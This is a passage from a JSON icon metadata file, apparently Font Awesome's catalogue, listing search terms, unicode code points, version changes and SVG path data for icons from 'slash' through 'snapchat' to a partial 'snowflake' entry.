        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"
      }
    },
    "free": ["brands"]
  },
  "slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f715"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "close", "mute", "off", "stop", "x"]
    },
    "styles": ["solid"],
    "unicode": "f715",
    "label": "Slash",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M5.1 9.2C13.3-1.2 28.4-3.1 38.8 5.1l592 464c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M5.1 9.2C13.3-1.2 28.4-3.1 38.8 5.1l592 464c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2z"
      }
    },
    "free": ["solid"]
  },
  "sleigh": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7cc"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "christmas",
        "claus",
        "fly",
        "holiday",
        "santa",
        "sled",
        "snow",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7cc",
    "label": "Sleigh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V256c0 53 43 96 96 96v32h64V352H384v32h64V352c53 0 96-43 96-96V160c17.7 0 32-14.3 32-32s-14.3-32-32-32H512 480c-17.7 0-32 14.3-32 32v41.3c0 30.2-24.5 54.7-54.7 54.7c-75.5 0-145.6-38.9-185.6-102.9l-4.3-6.9C174.2 67.6 125 37.6 70.7 32.7c-2.2-.5-4.4-.7-6.7-.7H55 32zM640 384c0-17.7-14.3-32-32-32s-32 14.3-32 32v8c0 13.3-10.7 24-24 24H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H552c48.6 0 88-39.4 88-88v-8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V256c0 53 43 96 96 96v32h64V352H384v32h64V352c53 0 96-43 96-96V160c17.7 0 32-14.3 32-32s-14.3-32-32-32H512 480c-17.7 0-32 14.3-32 32v41.3c0 30.2-24.5 54.7-54.7 54.7c-75.5 0-145.6-38.9-185.6-102.9l-4.3-6.9C174.2 67.6 125 37.6 70.7 32.7c-2.2-.5-4.4-.7-6.7-.7H55 32zM640 384c0-17.7-14.3-32-32-32s-32 14.3-32 32v8c0 13.3-10.7 24-24 24H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H552c48.6 0 88-39.4 88-88v-8z"
      }
    },
    "free": ["solid"]
  },
  "sliders": {
    "aliases": {
      "names": ["sliders-h"],
      "unicodes": {
        "secondary": ["10f1de"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["adjust", "settings", "sliders", "toggle"]
    },
    "styles": ["solid"],
    "unicode": "f1de",
    "label": "Sliders",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 416c0 17.7 14.3 32 32 32l54.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 448c17.7 0 32-14.3 32-32s-14.3-32-32-32l-246.7 0c-12.3-28.3-40.5-48-73.3-48s-61 19.7-73.3 48L32 384c-17.7 0-32 14.3-32 32zm128 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32-80c-32.8 0-61 19.7-73.3 48L32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l246.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48l54.7 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-54.7 0c-12.3-28.3-40.5-48-73.3-48zM192 128a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm73.3-64C253 35.7 224.8 16 192 16s-61 19.7-73.3 48L32 64C14.3 64 0 78.3 0 96s14.3 32 32 32l86.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 128c17.7 0 32-14.3 32-32s-14.3-32-32-32L265.3 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 416c0 17.7 14.3 32 32 32l54.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 448c17.7 0 32-14.3 32-32s-14.3-32-32-32l-246.7 0c-12.3-28.3-40.5-48-73.3-48s-61 19.7-73.3 48L32 384c-17.7 0-32 14.3-32 32zm128 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32-80c-32.8 0-61 19.7-73.3 48L32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l246.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48l54.7 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-54.7 0c-12.3-28.3-40.5-48-73.3-48zM192 128a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm73.3-64C253 35.7 224.8 16 192 16s-61 19.7-73.3 48L32 64C14.3 64 0 78.3 0 96s14.3 32 32 32l86.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 128c17.7 0 32-14.3 32-32s-14.3-32-32-32L265.3 64z"
      }
    },
    "free": ["solid"]
  },
  "slideshare": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1e7",
    "label": "Slideshare",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z"
      }
    },
    "free": ["brands"]
  },
  "smog": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f75f"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dragon", "fog", "haze", "pollution", "smoke", "weather"]
    },
    "styles": ["solid"],
    "unicode": "f75f",
    "label": "Smog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 144c0 79.5 64.5 144 144 144H299.3c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32H496c61.9 0 112-50.1 112-112s-50.1-112-112-112c-10.7 0-21 1.5-30.8 4.3C443.8 27.7 401.1 0 352 0c-32.6 0-62.4 12.2-85.1 32.3C242.1 12.1 210.5 0 176 0C96.5 0 32 64.5 32 144zM616 368H280c-13.3 0-24 10.7-24 24s10.7 24 24 24H616c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-64 96H440c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-192 0H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24zM224 392c0-13.3-10.7-24-24-24H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H200c13.3 0 24-10.7 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 144c0 79.5 64.5 144 144 144H299.3c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32H496c61.9 0 112-50.1 112-112s-50.1-112-112-112c-10.7 0-21 1.5-30.8 4.3C443.8 27.7 401.1 0 352 0c-32.6 0-62.4 12.2-85.1 32.3C242.1 12.1 210.5 0 176 0C96.5 0 32 64.5 32 144zM616 368H280c-13.3 0-24 10.7-24 24s10.7 24 24 24H616c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-64 96H440c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-192 0H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24zM224 392c0-13.3-10.7-24-24-24H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H200c13.3 0 24-10.7 24-24z"
      }
    },
    "free": ["solid"]
  },
  "smoking": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6ac"],
        "secondary": ["10f48d"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cancer",
        "cigarette",
        "nicotine",
        "smoking",
        "smoking status",
        "tobacco"
      ]
    },
    "styles": ["solid"],
    "unicode": "f48d",
    "label": "Smoking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M448 32V43c0 38.2 15.2 74.8 42.2 101.8l21 21c21 21 32.8 49.5 32.8 79.2v11c0 17.7-14.3 32-32 32s-32-14.3-32-32V245c0-12.7-5.1-24.9-14.1-33.9l-21-21C405.9 151.1 384 98.1 384 43V32c0-17.7 14.3-32 32-32s32 14.3 32 32zM576 256V245c0-38.2-15.2-74.8-42.2-101.8l-21-21c-21-21-32.8-49.5-32.8-79.2V32c0-17.7 14.3-32 32-32s32 14.3 32 32V43c0 12.7 5.1 24.9 14.1 33.9l21 21c39 39 60.9 91.9 60.9 147.1v11c0 17.7-14.3 32-32 32s-32-14.3-32-32zM0 416c0-35.3 28.7-64 64-64H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H64c-35.3 0-64-28.7-64-64V416zm224 0v32H384V416H224zm288-64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M448 32V43c0 38.2 15.2 74.8 42.2 101.8l21 21c21 21 32.8 49.5 32.8 79.2v11c0 17.7-14.3 32-32 32s-32-14.3-32-32V245c0-12.7-5.1-24.9-14.1-33.9l-21-21C405.9 151.1 384 98.1 384 43V32c0-17.7 14.3-32 32-32s32 14.3 32 32zM576 256V245c0-38.2-15.2-74.8-42.2-101.8l-21-21c-21-21-32.8-49.5-32.8-79.2V32c0-17.7 14.3-32 32-32s32 14.3 32 32V43c0 12.7 5.1 24.9 14.1 33.9l21 21c39 39 60.9 91.9 60.9 147.1v11c0 17.7-14.3 32-32 32s-32-14.3-32-32zM0 416c0-35.3 28.7-64 64-64H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H64c-35.3 0-64-28.7-64-64V416zm224 0v32H384V416H224zm288-64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "snapchat": {
    "aliases": {
      "names": ["snapchat-ghost"],
      "unicodes": {
        "composite": ["f2ac"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2ab",
    "label": "Snapchat",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496.926,366.6c-3.373-9.176-9.8-14.086-17.112-18.153-1.376-.806-2.641-1.451-3.72-1.947-2.182-1.128-4.414-2.22-6.634-3.373-22.8-12.09-40.609-27.341-52.959-45.42a102.889,102.889,0,0,1-9.089-16.12c-1.054-3.013-1-4.724-.248-6.287a10.221,10.221,0,0,1,2.914-3.038c3.918-2.591,7.96-5.22,10.7-6.993,4.885-3.162,8.754-5.667,11.246-7.44,9.362-6.547,15.909-13.5,20-21.278a42.371,42.371,0,0,0,2.1-35.191c-6.2-16.318-21.613-26.449-40.287-26.449a55.543,55.543,0,0,0-11.718,1.24c-1.029.224-2.059.459-3.063.72.174-11.16-.074-22.94-1.066-34.534-3.522-40.758-17.794-62.123-32.674-79.16A130.167,130.167,0,0,0,332.1,36.443C309.515,23.547,283.91,17,256,17S202.6,23.547,180,36.443a129.735,129.735,0,0,0-33.281,26.783c-14.88,17.038-29.152,38.44-32.673,79.161-.992,11.594-1.24,23.435-1.079,34.533-1-.26-2.021-.5-3.051-.719a55.461,55.461,0,0,0-11.717-1.24c-18.687,0-34.125,10.131-40.3,26.449a42.423,42.423,0,0,0,2.046,35.228c4.105,7.774,10.652,14.731,20.014,21.278,2.48,1.736,6.361,4.24,11.246,7.44,2.641,1.711,6.5,4.216,10.28,6.72a11.054,11.054,0,0,1,3.3,3.311c.794,1.624.818,3.373-.36,6.6a102.02,102.02,0,0,1-8.94,15.785c-12.077,17.669-29.363,32.648-51.434,44.639C32.355,348.608,20.2,352.75,15.069,366.7c-3.868,10.528-1.339,22.506,8.494,32.6a49.137,49.137,0,0,0,12.4,9.387,134.337,134.337,0,0,0,30.342,12.139,20.024,20.024,0,0,1,6.126,2.741c3.583,3.137,3.075,7.861,7.849,14.78a34.468,34.468,0,0,0,8.977,9.127c10.019,6.919,21.278,7.353,33.207,7.811,10.776.41,22.989.881,36.939,5.481,5.778,1.91,11.78,5.605,18.736,9.92C194.842,480.951,217.707,495,255.973,495s61.292-14.123,78.118-24.428c6.907-4.24,12.872-7.9,18.489-9.758,13.949-4.613,26.163-5.072,36.939-5.481,11.928-.459,23.187-.893,33.206-7.812a34.584,34.584,0,0,0,10.218-11.16c3.434-5.84,3.348-9.919,6.572-12.771a18.971,18.971,0,0,1,5.753-2.629A134.893,134.893,0,0,0,476.02,408.71a48.344,48.344,0,0,0,13.019-10.193l.124-.149C498.389,388.5,500.708,376.867,496.926,366.6Zm-34.013,18.277c-20.745,11.458-34.533,10.23-45.259,17.137-9.114,5.865-3.72,18.513-10.342,23.076-8.134,5.617-32.177-.4-63.239,9.858-25.618,8.469-41.961,32.822-88.038,32.822s-62.036-24.3-88.076-32.884c-31-10.255-55.092-4.241-63.239-9.858-6.609-4.563-1.24-17.211-10.341-23.076-10.739-6.907-24.527-5.679-45.26-17.075-13.206-7.291-5.716-11.8-1.314-13.937,75.143-36.381,87.133-92.552,87.666-96.719.645-5.046,1.364-9.014-4.191-14.148-5.369-4.96-29.189-19.7-35.8-24.316-10.937-7.638-15.748-15.264-12.2-24.638,2.48-6.485,8.531-8.928,14.879-8.928a27.643,27.643,0,0,1,5.965.67c12,2.6,23.659,8.617,30.392,10.242a10.749,10.749,0,0,0,2.48.335c3.6,0,4.86-1.811,4.612-5.927-.768-13.132-2.628-38.725-.558-62.644,2.84-32.909,13.442-49.215,26.04-63.636,6.051-6.932,34.484-36.976,88.857-36.976s82.88,29.92,88.931,36.827c12.611,14.421,23.225,30.727,26.04,63.636,2.071,23.919.285,49.525-.558,62.644-.285,4.327,1.017,5.927,4.613,5.927a10.648,10.648,0,0,0,2.48-.335c6.745-1.624,18.4-7.638,30.4-10.242a27.641,27.641,0,0,1,5.964-.67c6.386,0,12.4,2.48,14.88,8.928,3.546,9.374-1.24,17-12.189,24.639-6.609,4.612-30.429,19.343-35.8,24.315-5.568,5.134-4.836,9.1-4.191,14.149.533,4.228,12.511,60.4,87.666,96.718C468.629,373.011,476.119,377.524,462.913,384.877Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M496.926,366.6c-3.373-9.176-9.8-14.086-17.112-18.153-1.376-.806-2.641-1.451-3.72-1.947-2.182-1.128-4.414-2.22-6.634-3.373-22.8-12.09-40.609-27.341-52.959-45.42a102.889,102.889,0,0,1-9.089-16.12c-1.054-3.013-1-4.724-.248-6.287a10.221,10.221,0,0,1,2.914-3.038c3.918-2.591,7.96-5.22,10.7-6.993,4.885-3.162,8.754-5.667,11.246-7.44,9.362-6.547,15.909-13.5,20-21.278a42.371,42.371,0,0,0,2.1-35.191c-6.2-16.318-21.613-26.449-40.287-26.449a55.543,55.543,0,0,0-11.718,1.24c-1.029.224-2.059.459-3.063.72.174-11.16-.074-22.94-1.066-34.534-3.522-40.758-17.794-62.123-32.674-79.16A130.167,130.167,0,0,0,332.1,36.443C309.515,23.547,283.91,17,256,17S202.6,23.547,180,36.443a129.735,129.735,0,0,0-33.281,26.783c-14.88,17.038-29.152,38.44-32.673,79.161-.992,11.594-1.24,23.435-1.079,34.533-1-.26-2.021-.5-3.051-.719a55.461,55.461,0,0,0-11.717-1.24c-18.687,0-34.125,10.131-40.3,26.449a42.423,42.423,0,0,0,2.046,35.228c4.105,7.774,10.652,14.731,20.014,21.278,2.48,1.736,6.361,4.24,11.246,7.44,2.641,1.711,6.5,4.216,10.28,6.72a11.054,11.054,0,0,1,3.3,3.311c.794,1.624.818,3.373-.36,6.6a102.02,102.02,0,0,1-8.94,15.785c-12.077,17.669-29.363,32.648-51.434,44.639C32.355,348.608,20.2,352.75,15.069,366.7c-3.868,10.528-1.339,22.506,8.494,32.6a49.137,49.137,0,0,0,12.4,9.387,134.337,134.337,0,0,0,30.342,12.139,20.024,20.024,0,0,1,6.126,2.741c3.583,3.137,3.075,7.861,7.849,14.78a34.468,34.468,0,0,0,8.977,9.127c10.019,6.919,21.278,7.353,33.207,7.811,10.776.41,22.989.881,36.939,5.481,5.778,1.91,11.78,5.605,18.736,9.92C194.842,480.951,217.707,495,255.973,495s61.292-14.123,78.118-24.428c6.907-4.24,12.872-7.9,18.489-9.758,13.949-4.613,26.163-5.072,36.939-5.481,11.928-.459,23.187-.893,33.206-7.812a34.584,34.584,0,0,0,10.218-11.16c3.434-5.84,3.348-9.919,6.572-12.771a18.971,18.971,0,0,1,5.753-2.629A134.893,134.893,0,0,0,476.02,408.71a48.344,48.344,0,0,0,13.019-10.193l.124-.149C498.389,388.5,500.708,376.867,496.926,366.6Zm-34.013,18.277c-20.745,11.458-34.533,10.23-45.259,17.137-9.114,5.865-3.72,18.513-10.342,23.076-8.134,5.617-32.177-.4-63.239,9.858-25.618,8.469-41.961,32.822-88.038,32.822s-62.036-24.3-88.076-32.884c-31-10.255-55.092-4.241-63.239-9.858-6.609-4.563-1.24-17.211-10.341-23.076-10.739-6.907-24.527-5.679-45.26-17.075-13.206-7.291-5.716-11.8-1.314-13.937,75.143-36.381,87.133-92.552,87.666-96.719.645-5.046,1.364-9.014-4.191-14.148-5.369-4.96-29.189-19.7-35.8-24.316-10.937-7.638-15.748-15.264-12.2-24.638,2.48-6.485,8.531-8.928,14.879-8.928a27.643,27.643,0,0,1,5.965.67c12,2.6,23.659,8.617,30.392,10.242a10.749,10.749,0,0,0,2.48.335c3.6,0,4.86-1.811,4.612-5.927-.768-13.132-2.628-38.725-.558-62.644,2.84-32.909,13.442-49.215,26.04-63.636,6.051-6.932,34.484-36.976,88.857-36.976s82.88,29.92,88.931,36.827c12.611,14.421,23.225,30.727,26.04,63.636,2.071,23.919.285,49.525-.558,62.644-.285,4.327,1.017,5.927,4.613,5.927a10.648,10.648,0,0,0,2.48-.335c6.745-1.624,18.4-7.638,30.4-10.242a27.641,27.641,0,0,1,5.964-.67c6.386,0,12.4,2.48,14.88,8.928,3.546,9.374-1.24,17-12.189,24.639-6.609,4.612-30.429,19.343-35.8,24.315-5.568,5.134-4.836,9.1-4.191,14.149.533,4.228,12.511,60.4,87.666,96.718C468.629,373.011,476.119,377.524,462.913,384.877Z"
      }
    },
    "free": ["brands"]
  },
  "snowflake": {
    "aliases": {
      "unicodes": {
        "composite": ["2744", "2746"],
        "secondary": ["10f2dc"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.5.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Heavy Chevron Snowflake",
        "cold",
        "precipitation",
        "rain",
        "snow",
        "snowfall",
        "snowflake",
        "winter"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2dc",
    "label": "Snowflake",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V62.1l15-15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-49 49v70.3l61.4-35.8 17.7-66.1c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4l-5.2 19.3 23.6-13.8c15.3-8.9 34.9-3.7 43.8 11.5s3.8 34.9-11.5 43.8l-25.3 14.8 21.7 5.8c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-67.7-18.1L287.5 256l60.9 35.5 67.7-18.1c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4l-21.7 5.8 25.3 14.8c15.3 8.9 20.4 28.5 11.5 43.8s-28.5 20.4-43.8 11.5l-23.6-13.8 5.2 19.3c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-17.7-66.1L256 311.7v70.3l49 49c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V449.9l-15 15c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l49-49V311.7l-61.4 35.8-17.7 66.1c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4l5.2-19.3L48.1 395.6c-15.3 8.9-34.9 3.7-43.8-11.5s-3.7-34.9 11.5-43.8l25.3-14.8-21.7-5.8c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l67.7 18.1L160.5 256 99.6 220.5 31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4l21.7-5.8L15.9 171.6C.6 162.7-4.5 143.1 4.4 127.9s28.5-20.4 43.8-11.5l23.6 13.8-5.2-19.3c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l17.7 66.1L192 200.3V129.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l15 15V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
